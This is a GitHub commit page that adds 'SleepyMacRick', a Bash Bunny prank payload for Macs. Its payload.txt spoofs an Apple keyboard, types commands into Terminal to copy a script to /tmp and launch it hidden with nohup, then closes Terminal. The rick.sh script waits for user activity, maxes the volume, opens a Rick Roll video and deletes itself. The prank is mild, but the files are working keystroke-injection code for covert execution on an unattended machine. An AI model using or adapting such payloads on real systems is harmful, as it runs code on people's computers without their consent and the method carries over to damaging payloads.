Skip to content

Commit

Permalink
Merge pull request #665 from 90N45-d3v/master-1
Browse files Browse the repository at this point in the history
Add SleepyMacRick
  • Loading branch information
hak5peaks authored Jun 8, 2024
2 parents 69c31ff + 2c9b668 commit 8c2b59b
Show file tree
Hide file tree
Showing 3 changed files with 56 additions and 0 deletions.
17 changes: 17 additions & 0 deletions payloads/library/prank/SleepyMacRick/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
# SleepyMacRick
* Author: 90N45
* Version: 1.0
* Target: Mac
* Attackmodes: HID, STORAGE

### Description
Installs a script that will listen for user activity in the background. When the user starts working on his machine, a „Rick Roll“ will be triggered.

### Status
| LED | State |
| --- | --- |
| Magenta solid (SETUP) | Set ATTACKMODE |
| Yellow single blink (ATTACK) | Setup and run script on the Mac |
| Green 1000ms VERYFAST blink followed by SOLID (FINISH) | „Rick Roll“ is ready and listening for activity |

*Average runtime: 23 seconds*
25 changes: 25 additions & 0 deletions payloads/library/prank/SleepyMacRick/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
#!/bin/bash

LED SETUP
ATTACKMODE HID VID_0X05AC PID_0X021E STORAGE

LED ATTACK
# Open terminal
QUACK GUI SPACE
QUACK DELAY 1000
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 1500

QUACK STRING "cp /Volumes/BashBunny/payloads/${SWITCH_POSITION}/rick.sh /tmp/rick.sh"
QUACK ENTER
QUACK DELAY 1000

QUACK STRING "diskutil eject /Volumes/BashBunny/"
QUACK ENTER
QUACK STRING "chmod +x /tmp/rick.sh && nohup bash /tmp/rick.sh &> /dev/null &"
QUACK ENTER
QUACK STRING "killall Terminal"
QUACK ENTER

LED FINISH
14 changes: 14 additions & 0 deletions payloads/library/prank/SleepyMacRick/rick.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#! /bin/bash

sleep 3
inactive=$(osascript -e 'tell application "System Events" to tell (first process whose frontmost is true) to return name')

while [[ ${inactive} = $(osascript -e 'tell application "System Events" to tell (first process whose frontmost is true) to return name') ]]; do
sleep 0.5
done

osascript -e "set volume output volume 100"
open -u "https://www.youtube.com/watch?v=xvFZjo5PgG0"

# Self destruct
rm /tmp/rick.sh

0 comments on commit 8c2b59b

Please sign in to comment.